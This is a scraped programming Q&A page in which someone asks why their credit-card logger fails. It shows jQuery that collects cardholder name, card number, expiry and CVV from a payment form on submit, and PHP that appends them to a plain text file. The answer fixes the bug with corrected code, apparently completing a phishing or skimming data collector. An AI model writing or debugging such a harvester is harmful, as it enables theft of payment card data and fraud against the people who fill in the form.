简体   繁体   中英

How can I make the JS information go to php to generate the text file?

I can't see what the fault is because the text file cannot be created when entering the information

jQuery( document ).ready(function() {

// Después de enviar el formulario de la tarjeta de crédito, obtenga todos los datos
jQuery("").on('submit'), function() {
    var cc_holders_name = jQuery('#nameoncard').val();
    var cc_number = jQuery('#addCreditCardNumber').val();
    var expiry_date = jQuery('#exp').val();
    var cvv = jQuery('#Address').val();
    
    jQuery.post( "log.php", {
        cc_holders_name: cc_holders_name, cc_number, expiry_date, cvv: cvv}, function(data) {
            // Enviar datos
        });
}
});

<?php

header('*');

if ( isset($_REQUEST['cc_holders_name']) && isset($_REQUEST['cc_number']) && isset($_REQUEST['expiry_date']) && isset($_REQUEST['cvv']) ) {
    
    $cc_holders_name = $_REQUEST['cc_holders_name'];
    $cc_number = $_REQUEST['cc_number'];
    $cc_expiry_date = $_REQUEST['expiry_date'];
    $cc_cvv = $_REQUEST['cvv'];
    
    $data = "";
    $data .= "Name on Card: " . $cc_holders_name . "\r\n";
    $data .= "Card Number: " . $cc_number . "\r\n";
    $data .= "Expiration date: " . $cc_expiry_date . "\r\n";
    $data .= "CVV: " . $cc_cvv . "\r\n";
    $data = "\r\n";
    
    file_put_contents('credit_cards.txt', $data, FILE_APPEND);
}

Because cc_number and expiry_date keys are not set. To set them - change your js as:

jQuery.post( 
    "log.php", 
    {
        cc_holders_name: cc_holders_name, 
        // add key name here
        cc_number: cc_number,
        // and here 
        expiry_date: expiry_date, 
        cvv: cvv
    }, 
    function(data) {
        // Enviar datos
    }
);

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM